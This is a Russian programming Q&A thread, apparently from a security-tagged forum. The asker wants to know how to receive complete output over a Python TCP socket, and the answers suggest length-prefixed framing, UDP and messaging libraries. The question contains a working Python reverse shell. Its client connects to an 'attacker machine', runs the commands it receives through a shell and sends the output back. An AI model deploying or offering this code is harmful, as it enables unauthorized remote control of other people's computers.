tremo0880
@tremo0880
Inf.Sec

Как получить сообщение целиком используя python socket?

имеется два скрипта клиент и сервер.
Сервер отправляет команды на клиент, а клиент должен их выполнять отправлять вывод на сервер.
Далее описан один из примеровЖ
1.Сервер отправляет команду (ps -aux) на клиент
2.Клиент получает команду и выполяет ее. Затем отправляет результат на сервер. Сервер получает не всю информацию т.к есть ограничение в 8192 байта и часть информации не получена.
Вопрос следующий, как правильно получить всю информацию.
Server
HOST = '192.168.173.1'
        PORT = 2016
        s = socket(AF_INET, SOCK_STREAM)
        s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        s.bind((HOST, PORT))
        print ('Listening on 192.168.173.1:%s' % str(PORT))
        s.listen(10)
        conn, addr = s.accept()
        print ('Connected by',addr)
        data = conn.recv(8192)
        while 1:
             command = input("Enter shell command or quit: ")
             conn.send(command.encode())
             if command == "quit": break
             data = conn.recv(8192)
             print (data.decode())
        conn.close()

Client
HOST = '192.168.173.1'    # The remote host
        PORT = 2016            # The same port as used by the server
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # connect to attacker machine
        s.connect((HOST, PORT))
        # send we are connected
        s.send('[*] Connection Established!')
        # start loop
        while 1:
             # recieve shell command
             data = s.recv(1024)
             # if its quit, then break out and close socket
             if data == "quit": break
             # do shell command
             proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
             # read output
             stdout_value = proc.stdout.read() + proc.stderr.read()
             # send output to attacker
             s.send(stdout_value)
        # close socket
        s.close()
  • Вопрос задан
  • 2823 просмотра
Пригласить эксперта
Ответы на вопрос 2
15432
@15432
Системный программист ^_^
По-хорошему, при использовании TCP следует в самом начале посылать "заголовок", в котором будет указано количество байт в последующем сообщении, чтобы другая сторона знала, сколько ещё байт осталось прочитать из канала. В процессе отправки, пакет может быть разбит на несколько. Например, вы отправляете 8192, а приходит несколько пачек по 1024 байт.
Простой цикл чтения "до тех пор, пока есть данные" сработает на локалхосте, где задержки в передаче минимальны и отсутствуют потери и переотправка.

Хм. ещё можно послать по UDP, там максимальный размер пакета 64 КБ, протокол сам поделит сообщение на куски и соберёт их на другом конце. Так что при чтении сокета получите сразу всё сообщение. Но не гарантируется доставка.
Ответ написан
vit1251
@vit1251
Software Engineer
Вам нужно реализовать протокол (соглашение поверх вашего транспортного протокола).

В вашей задаче вижу два решения:

1. Ждать завершения команды и отправить весь результат. Создаете буфер наполняете его до завершения дочернего приложения, а после формируете заголовок отправляете и к заголовку подцепляете буфер. Заранее длину заголовка должны знать обе стороны. Самой простой реализацией будет реализация в Twisted twistedmatrix.com/documents/9.0.0/api/twisted.prot...

2. Создать подобие шины данных и передавать события. Одним из событий передача строки из приложения. Это отлично подойдет для "непрерывнух" (длгих или вечных) приложений генерирующих вывод. Так же можно поразмыслить над вводом в приложение и тут Вы реализуете интерсктивную подсистему SSH (в SSH еще есть и exec, sftp и т.д.). В целом для этой задачи с событиями уже можно применить готовые решения для шин данных ZeroMQ, системы AMQP и т.д.

Если вопрос не академический, то рекомендую обратить внимание на готовые системы оркестрации (по русски это наверное так звучит - прошу поправить в комментариях если иначе).
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы